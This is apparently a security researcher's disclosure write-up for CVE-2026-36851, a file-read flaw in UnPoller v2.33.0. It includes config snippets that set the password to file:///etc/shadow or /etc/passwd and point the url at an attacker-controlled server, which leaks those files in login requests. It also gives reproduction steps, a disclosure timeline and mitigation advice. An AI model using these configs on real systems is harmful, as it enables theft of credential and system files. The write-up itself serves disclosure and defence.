## https://sploitus.com/exploit?id=C2325B45-AEA9-5B22-8D11-3034288CE8AF
# CVE-2026-36851
Path traversal in [UnPoller](https://github.com/unpoller/unpoller) v2.33.0 โ the `file://` password prefix reads arbitrary files and sends the contents to whatever UniFi controller URL is in your config.
**CVE record:** https://vulners.com/cve/CVE-2026-36851
---
## Background
I run UnPoller in my homelab (Docker on Proxmox) to pull UniFi stats into Grafana. I was doing some casual security research on open source repos and landed on UnPoller. Not much XSS surface, but the sample config had this:
```toml
pass = "file:///path/to/password.file"
```
That makes sense for Docker โ keep the real password out of the config file. I wanted to know if UnPoller only reads a dedicated secrets file, or if you can point it at anything on disk.
It's the latter. In `pkg/inputunifi/input.go`, anything starting with `file://` goes through `os.ReadFile()` with no path check. The file contents become the password UnPoller uses when it logs into the controller URL from the same config.
## Why I reported it
On its own, "read a file from config" doesn't sound scary if the same person owns the config. The problem is what happens next: UnPoller sends that data over the network in a JSON login POST to `/api/login`.
If someone can edit `up.conf` but can't read `/etc/shadow` directly, they can set:
```toml
url = "https://your-server:8443"
pass = "file:///etc/shadow"
```
UnPoller does the rest. It retries auth on a timer, so the file keeps getting sent.
## How I reproduced it
**Environment variable** โ didn't work in my setup. Docker Compose was using the mounted config file, not env vars.
**Config file** โ this worked. I pointed UnPoller at a fake HTTPS server on my LXC instead of my real UniFi controller:
```toml
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
```
First I built a capture server that looked for `Authorization: Basic ...` headers. UnPoller kept posting to `/api/login` with no auth header at all. Credentials are in the JSON body:
```json
{"username": "admin", "password": "..."}
```
I updated the listener to dump the POST body. Within a minute I had `/etc/passwd` showing up in the password field:

Same trick with `/proc/version`:

Example config: [`poc/up.conf.example`](poc/up.conf.example)
## Disclosure
| When | What |
|------|------|
| Feb 2026 | Found it in my lab |
| Mar 2026 | Told the maintainer on Discord, filed with MITRE |
| Jun 2026 | CVE-2026-36851 assigned |
The maintainer considers `file://` an intentional feature for Docker users. MITRE assigned a CVE anyway.
## If you run UnPoller
Lock down who can write `up.conf`. Don't point it at URLs you don't control. Prefer proper secrets management over arbitrary file reads in the password field.
## License
MIT โ see [LICENSE](LICENSE). PoC stuff here is for authorized testing and education only.
---
Hector Diaz ยท [LinkedIn](https://www.linkedin.com/in/hector-diaz-cyber/) ยท [hectordiaz.net](https://hectordiaz.net)